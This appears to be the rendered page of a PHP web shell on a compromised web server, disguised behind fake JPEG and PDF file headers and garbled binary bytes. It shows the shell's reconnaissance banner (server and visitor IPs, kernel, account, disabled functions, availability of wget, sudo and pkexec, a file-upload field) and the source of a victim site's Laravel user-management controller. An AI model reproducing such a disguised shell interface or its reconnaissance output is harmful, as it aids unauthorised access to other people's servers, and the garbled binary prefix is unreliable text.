ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.129 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/app/Http/Controllers/Users/ |
Upload File : |
<?php namespace Evidencia\Http\Controllers\Users; use Illuminate\Http\Request; use Evidencia\Http\Controllers\Controller; use Evidencia\Http\Requests; use Evidencia\Http\Requests\UserCreateRequest; use Evidencia\User; class UsersController extends Controller { private $user; public function __construct(User $user) { $this->user = $user; } public function index() { $users = $this->user->orderBy('name')->get(); return view('pages.users.index', compact('users')); } public function create() { return view('pages.users.create'); } public function store(UserCreateRequest $request) { $values = [ 'nivel' => $request->get('nivel'), 'name' => $request->get('name'), 'email' => $request->get('email'), 'status' => $request->get('status'), 'password' => bcrypt($request->get('password')) ]; $this->user->create($values); return redirect()->route('users.create')->with('ok', 'Usuario cadastrado com sucesso!'); } public function edit($id) { $user = $this->user->find($id); return view('pages.users.edit', compact('user')); } public function update(Request $request, $id) { $this->validate($request, ['name' => 'required|min:5']); ($request->get('password') == null) ? $password = $request->get('old_password') : $password = bcrypt($request->get('password')); $values = [ 'name' => $request->get('name'), 'password' => $password, 'description' => $request->get('description'), 'sobre' => $request->get('sobre') ]; $this->user->find($id)->update($values); return redirect()->back()->with('ok', 'Dados atualizados com sucesso!'); } public function status($id, $value) { $this->user->find($id)->update(['status' => $value]); return redirect()->route('users.index')->with('ok', 'Status atualizado'); } }